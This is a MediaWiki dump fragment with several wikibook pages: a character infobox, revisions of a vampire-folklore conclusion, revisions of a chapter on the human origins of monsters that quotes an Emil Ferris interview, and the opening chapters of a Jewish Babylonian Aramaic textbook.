| header1     = Character Profile

| labelstyle  = color: #FFE600; font-weight: bold; width: 40%;
| label2      = Species

| data2       = {{{species|Regal Blue Tang}}}

| label3      = Main Language

| data3       = {{{language|English &amp; Whale}}}

| label4      = Memory Status

| data4       = {{{memory|Short-term loss}}}

| label5      = Best Friends

| data5       = {{{friends|Marlin &amp; Nemo}}}
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  <page>
    <title>Create Vampires /All About Vampires</title>
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      <timestamp>2026-09-16T16:40:01Z</timestamp>
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      <comment>Created page with &quot;== All About Vampires ==  From spelling Vam-Pai-Yer-Sa to defining vampires, from discovering the origin of most vampires from Slavic folklore, to realizing that the concept of the vampire has mutated, changed, and been transmitted to other people around the world. People who may have created their own versions of vampire-like beings.  We have explored ideas about vampires through historic records, through folk stories, through Psychology and by understanding the vampire...&quot;</comment>
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      <text bytes="654" sha1="cy7c9hbhqpfi87mku1l3tfaq5uygpkj" xml:space="preserve">== All About Vampires ==

From spelling Vam-Pai-Yer-Sa to defining vampires, from discovering the origin of most vampires from Slavic folklore, to realizing that the concept of the vampire has mutated, changed, and been transmitted to other people around the world. People who may have created their own versions of vampire-like beings.

We have explored ideas about vampires through historic records, through folk stories, through Psychology and by understanding the vampire archetype better.
We have explored vampire literary tropes and have discussed ways around many literary pitfalls. 

With your help, we can continue to explore All About Vampires.</text>
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      <id>4670471</id>
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      <timestamp>2026-09-16T16:53:53Z</timestamp>
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      <comment>/* All About Vampires */</comment>
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      <text bytes="1141" sha1="l8kcszyeu07ldy729rw9y0cwfedbyhf" xml:space="preserve">== All About Vampires ==
From early attempts to spell vam‑pai‑yer‑sa, to defining what vampires are, to tracing their origins in Slavic folklore, we have seen how the vampire concept has changed, adapted, and traveled across cultures. Many communities have created their own versions of vampire‑like beings, each shaped by local fears, values, and traditions. &lt;br&gt;
&lt;br&gt;
This book has explored vampires through historical records, folk stories, Psychology, and the broader vampire archetype. We have examined common literary tropes and discussed ways to avoid familiar literary pitfalls when creating new vampire narratives. &lt;br&gt;
&lt;br&gt;
These ideas form a foundation for further study. Readers are encouraged to continue exploring the many cultural, historical, and literary dimensions of vampires. &lt;br&gt;
&lt;br&gt;
With your help, we can continue to explore vampires! &lt;br&gt;
&lt;br&gt;
Links: https://en.wikipedia.org/wiki/Vampire &lt;br&gt;
&lt;br&gt;
Link: https://scholardaily.com/understanding-the-american-folklore-society-code-of-ethics-a-cultural-compass-for-today-s-storytellers/ &lt;br&gt;
&lt;br&gt;
Link: https://en.wikipedia.org/wiki/Vampire_literature &lt;br&gt;
&lt;br&gt;</text>
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    <revision>
      <id>4670478</id>
      <parentid>4670471</parentid>
      <timestamp>2026-09-16T17:09:40Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
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      <text bytes="1153" sha1="2lp8nrv2l14t0mlsgrc0nuhyuml6rx0" xml:space="preserve">== All About Vampires ==
From early attempts to spell vam‑pai‑yer‑sa, to defining what vampires are, to tracing their origins in Slavic folklore, we have seen how the vampire concept has changed, adapted, and traveled across cultures. Many communities have created their own versions of vampire‑like beings, each shaped by local fears, values, and traditions. &lt;br&gt;
&lt;br&gt;
This book has explored vampires through historical records, folk stories, Science and Psychology, and the broader vampire archetype. We have examined common literary tropes and discussed ways to avoid familiar literary pitfalls when creating new vampire narratives. &lt;br&gt;
&lt;br&gt;
These ideas form a foundation for further study. Readers are encouraged to continue exploring the many cultural, historical, and literary dimensions of vampires. &lt;br&gt;
&lt;br&gt;
With your help, we can continue to explore vampires! &lt;br&gt;
&lt;br&gt;
Links: https://en.wikipedia.org/wiki/Vampire &lt;br&gt;
&lt;br&gt;
Link: https://scholardaily.com/understanding-the-american-folklore-society-code-of-ethics-a-cultural-compass-for-today-s-storytellers/ &lt;br&gt;
&lt;br&gt;
Link: https://en.wikipedia.org/wiki/Vampire_literature &lt;br&gt;
&lt;br&gt;</text>
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    <revision>
      <id>4670479</id>
      <parentid>4670478</parentid>
      <timestamp>2026-09-16T17:14:41Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
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      <text bytes="1325" sha1="44l2dga97h5kdioomk9n34kigfe0d6i" xml:space="preserve">== All About Vampires ==
From early attempts to spell vam‑pai‑yer‑sa, to defining what vampires are, to tracing their origins in Slavic folklore, we have seen how the vampire concept has changed, adapted, and traveled across cultures. Many communities have created their own versions of vampire‑like beings, each shaped by local fears, values, and traditions. &lt;br&gt;
&lt;br&gt;
This book has explored vampires through historical records, folk stories, Science and Psychology, and the broader vampire archetype. We have examined common literary tropes and discussed ways to avoid familiar literary pitfalls when creating new vampire narratives. &lt;br&gt;
&lt;br&gt;
These ideas form a foundation for further study. Readers are encouraged to continue exploring the many cultural, historical, and literary dimensions of vampires. When creating vampire lore, I hope writers will continue to research vampire stories, while acting with a code of ethics when handling vampire folklore.&lt;br&gt;
&lt;br&gt;
With help from readers and writers, we can continue to explore vampires! &lt;br&gt;
&lt;br&gt;
Links: https://en.wikipedia.org/wiki/Vampire &lt;br&gt;
&lt;br&gt;
Link: https://scholardaily.com/understanding-the-american-folklore-society-code-of-ethics-a-cultural-compass-for-today-s-storytellers/ &lt;br&gt;
&lt;br&gt;
Link: https://en.wikipedia.org/wiki/Vampire_literature &lt;br&gt;
&lt;br&gt;</text>
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  <page>
    <title>About Monsters And Angels/Chapter One</title>
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      <comment>Created page with &quot;== Chapter One: Monsters And Their Human Origin ==  Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living,...&quot;</comment>
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      <text bytes="850" sha1="ocxrxdqyptm9o4can5ol2cezalv86ic" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;</text>
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    <revision>
      <id>4670572</id>
      <parentid>4670571</parentid>
      <timestamp>2026-09-17T06:19:45Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
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      <text bytes="3262" sha1="8q3brick6r200zxtr23t8qhegp50jw7" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
&lt;br&gt;
Monsters As Cultural Expression: &lt;br&gt;
Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
&lt;br&gt;
Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
&lt;br&gt;
Illness: physical or mental poor health interpreted through symbolic narratives. &lt;br&gt;
&lt;br&gt;
Social conflict: tensions within families, communities, or societies. &lt;br&gt;
&lt;br&gt;
Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
&lt;br&gt;
Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. &lt;br&gt;
&lt;br&gt;
Reference: &lt;br&gt;
1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>8q3brick6r200zxtr23t8qhegp50jw7</sha1>
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      <text bytes="3265" sha1="o4lpbyixqc90i967jhojytc8z8451dw" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
&lt;br&gt;
Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
&lt;br&gt;
Illness: physical or mental poor health interpreted through symbolic narratives. &lt;br&gt;
&lt;br&gt;
Social conflict: tensions within families, communities, or societies. &lt;br&gt;
&lt;br&gt;
Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
&lt;br&gt;
Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. &lt;br&gt;
&lt;br&gt;
=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>o4lpbyixqc90i967jhojytc8z8451dw</sha1>
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      <id>4670574</id>
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      <text bytes="3250" sha1="rrm164fksenwnn9gsojqrn1kbnhsrth" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
- Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
- Illness: physical or mental poor health interpreted through symbolic narratives. &lt;br&gt;
- Social conflict: tensions within families, communities, or societies. &lt;br&gt;
- Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
- Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. &lt;br&gt;
&lt;br&gt;
=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>rrm164fksenwnn9gsojqrn1kbnhsrth</sha1>
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      <text bytes="3299" sha1="6dg5bwwn6wt51mgt8h3v5rqsclk7fp3" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
- Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
- Illness: physical or mental poor health interpreted through symbolic narratives. &lt;br&gt;
- Social conflict: tensions within families, communities, or societies. &lt;br&gt;
- Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
- Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. &lt;br&gt;
&lt;br&gt;

=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>6dg5bwwn6wt51mgt8h3v5rqsclk7fp3</sha1>
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    <revision>
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      <timestamp>2026-09-17T06:41:19Z</timestamp>
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      <text bytes="3296" sha1="irl4yqi48laljscavombcbcp6f9vy1w" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
- Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
- Illness: physical or mental poor health interpreted through symbolic stories. &lt;br&gt;
- Social conflict: tensions within families, communities, or societies. &lt;br&gt;
- Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
- Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. &lt;br&gt;
&lt;br&gt;

=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>irl4yqi48laljscavombcbcp6f9vy1w</sha1>
    </revision>
    <revision>
      <id>4670585</id>
      <parentid>4670584</parentid>
      <timestamp>2026-09-17T06:47:30Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
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      <text bytes="3471" sha1="flnbzta3ktz4riaoj332wvd8bak8bsr" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
- Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
- Illness: physical or mental poor health interpreted through symbolic stories. &lt;br&gt;
- Social conflict: tensions within families, communities, or societies. &lt;br&gt;
- Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
- Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
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| [[File:Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04.jpg|thumb|Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04]]
|}
&lt;br&gt;
=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan2025, Art Source &lt;br&gt;</text>
      <sha1>flnbzta3ktz4riaoj332wvd8bak8bsr</sha1>
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      <text bytes="3472" sha1="cpcti3e4889w26hxi0ogrvamed2n1j3" xml:space="preserve">== Chapter One: Monsters And Their Human Origin ==

Monsters. Stranger Things, The Exorcist, Poltergeist, Shaun of the Dead. We love monsters, they are part of a large film and Entertainment industry. Around the world, monsters appear in films and on TV shows. They pop-up, taking forms that range from ghosts and demons, to zombies, and hungry-spirits. Although these monsters are described as supernatural, able to cross the barriers that separate the dead from the living, many monster traditions originated from human experiences. &lt;br&gt;
&lt;br&gt;
This wikibook explores the concept that monsters are kind of human, merely symbolic expressions of human fears, behaviors, or cultural change.  
By closely examining the human origin of monster myths, readers can understand how they developed, why these stories persist, and why they mutate over time.&lt;br&gt;
=== Monsters As Cultural Expression: ===

Monsters are not just the creations of individuals. Monsters emerge from cultural environments and reflect shared concerns within a community. &lt;br&gt;
For Example: Monsters are associated with taboo behavior, meaning actions that are considered dangerous, behaviors that are often socially forbidden. &lt;br&gt;
&lt;br&gt;
In an interview with Michael Connerty, Emil Ferris, the author of the graphic novel: My Favorite Things Is Monsters: Book One, talks candidly about sexuality and horror movies. &lt;br&gt;
&lt;br&gt;
Michael Connerty: There are a lot of very powerful images that punctuate both books, cent[e]red on women and violence – some come from classical painting, some in the form of your imaginary comic book covers.

Emil Ferris: I grew up with that, I mean you saw women portrayed in a particular way, and horror comics always used women, and horror movies did too, where there was this sexualization of a woman before she was murdered, which is really a very frightening thing to do. And Karen and Deeze talk about that, I mean they talk about the sexualization of brutality, you know, which is often the brutality of sex, when it's negative, when it's assault. It's just something that has to be pointed out. I like the fact that they have that conversation, because I think more people need to have that conversation with their sons and their daughters. They need to talk about those things but we're so afraid to talk about those things, and we have to. We have to because it's so hard for children to figure out, 'well, how do I negotiate this world?' It's just really good to be frank about these things.
[1] &lt;br&gt;
&lt;br&gt;
The common sources of monsters include: &lt;br&gt;
- Trauma: events that leave an emotional or physical response, usually deeply harmful, disturbing, or overwhelming. &lt;br&gt;
- Illness: physical or mental poor health interpreted through symbolic stories. &lt;br&gt;
- Social conflict: tensions within families, communities, or societies. &lt;br&gt;
- Taboo behavior: actions considered dangerous or forbidden. &lt;br&gt;
- Environmental conditions: landscapes, climate, or natural hazards. &lt;br&gt;
&lt;br&gt;
Monsters come from trauma, illness, social conflicts, behaviors that are taboo, and social conflict. They are born from our darkest release. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! Mural
|-
| [[File:Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04.jpg|thumb|Hip Hop Meeting Málaga (Drak-Baros-Elalfil, 2023) 04]]
|}
&lt;br&gt;
=== Reference: ===

1. Connerty, Michael. Scary monsters and super creeps: An interview with Emil Ferris. Published in Studies in Comics, Jan 2025, Art Source &lt;br&gt;</text>
      <sha1>cpcti3e4889w26hxi0ogrvamed2n1j3</sha1>
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  <page>
    <title>Talmudic aramic</title>
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      <comment>Created page with &quot; = Ulpana d-Aramaita Bavlaita =  == A Textbook of Jewish Babylonian Aramaic ==  === Preface === Aramaic is one of the most important ancient Semitic languages. For many centuries it served as a language of speech, administration, literature, religion, and scholarship throughout the Near East.  One of its most important historical varieties is '''Jewish Babylonian Aramaic''', the principal Aramaic language of the Babylonian Talmud and an important language of the Geonic p...&quot;</comment>
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= Ulpana d-Aramaita Bavlaita =

== A Textbook of Jewish Babylonian Aramaic ==

=== Preface ===
Aramaic is one of the most important ancient Semitic languages. For many centuries it served as a language of speech, administration, literature, religion, and scholarship throughout the Near East.

One of its most important historical varieties is '''Jewish Babylonian Aramaic''', the principal Aramaic language of the Babylonian Talmud and an important language of the Geonic period.

The purpose of this textbook is to lead the student from the basic elements of the language—letters, vocabulary, and simple grammatical structures—to the ability to read short passages from the Babylonian Talmud and analyze their linguistic structure.

The book generally follows the traditional spelling found in printed editions of the Talmud. Where useful, explanations of pronunciation, grammar, and historical development are also supplied.
----

= Part I — Foundations =

= Chapter 1: What Is Jewish Babylonian Aramaic? =
Jewish Babylonian Aramaic is an Eastern Aramaic variety used by Jewish communities in Babylonia during Late Antiquity, especially during the Amoraic and Geonic periods.

It is most famous as the principal Aramaic language of the '''Babylonian Talmud'''.

Some very common expressions are:

'''מאי?'''

What?

'''מנא לן?'''

From where do we know this?

'''אמר רבא'''

Rava said.

'''אית ליה'''

He has.

'''לית ליה'''

He does not have.

'''היכי דמי?'''

What exactly is the case?

A student who knows Hebrew will immediately recognize many words and roots.

However, linguistic similarity does not mean identity. Aramaic has its own vocabulary, grammar, syntax, sound changes, and idiomatic expressions.
----

= Chapter 2: The Alphabet =
Jewish Babylonian Aramaic is normally written in the same square Hebrew script used for Hebrew.
{| class=&quot;wikitable&quot;
!Letter
!Name
!Example
|-
|א
|Aleph
|אמר
|-
|ב
|Bet
|בר
|-
|ג
|Gimel
|גברא
|-
|ד
|Dalet
|דין
|-
|ה
|He
|היכי
|-
|ו
|Vav
|ולא
|-
|ז
|Zayin
|זימנא
|-
|ח
|Het
|חד
|-
|ט
|Tet
|טעמא
|-
|י
|Yod
|יתיב
|-
|כ
|Kaf
|כד
|-
|ל
|Lamed
|לית
|-
|מ
|Mem
|מאי
|-
|נ
|Nun
|נמי
|-
|ס
|Samekh
|סבר
|-
|ע
|Ayin
|עבד
|-
|פ
|Pe
|פליג
|-
|צ
|Tsadi
|צריך
|-
|ק
|Qof
|קאמר
|-
|ר
|Resh
|רב
|-
|ש
|Shin
|שמע
|-
|ת
|Tav
|תא
|}
As in Hebrew, five letters have special final forms:

'''ך ם ן ף ץ'''
----

= Chapter 3: Your First Words =
The following words are useful for beginning students.
{| class=&quot;wikitable&quot;
!Aramaic
!English
|-
|אבא
|father
|-
|אמא
|mother
|-
|אחא
|brother
|-
|בר
|son
|-
|ברתא
|daughter
|-
|גברא
|man
|-
|איתתא
|woman
|-
|ביתא
|house
|-
|יומא
|day
|-
|ליליא
|night
|-
|מיא
|water
|-
|נהרא
|river
|-
|ארעא
|land
|-
|שמיא
|heaven, sky
|-
|רישא
|head
|-
|ידא
|hand
|-
|עינא
|eye
|-
|ליבא
|heart
|-
|מלכא
|king
|-
|רבא
|great, large
|}

=== Exercise ===
Translate into English:

# גברא
# ברתא
# מיא
# ארעא
# רישא

=== Answers ===

# man
# daughter
# water
# land
# head

----

= Chapter 4: The Ending ־א =
One of the most noticeable features of Aramaic vocabulary is the frequent ending '''־א'''.

Examples:

'''גברא''' — man

'''מלכא''' — king

'''ספרא''' — book

'''ביתא''' — house

'''יומא''' — day

Historically, this ending is associated with the Aramaic '''emphatic state''', one of the traditional morphological states of the Aramaic noun.

In earlier Aramaic, grammatical state could mark important distinctions involving definiteness and syntactic function.

In later Aramaic dialects, including Jewish Babylonian Aramaic, the original system had changed considerably.

Therefore, the final '''־א''' should not automatically be translated as the English definite article “the.”
----

= Chapter 5: Question Words =

== מאי ==
'''מאי?'''

What?

Example:

'''מאי טעמא?'''

What is the reason?

Why?
----

== מאן ==
'''מאן?'''

Who?

Example:

'''מאן אמרה?'''

Who said it?
----

== היכי ==
'''היכי?'''

How?

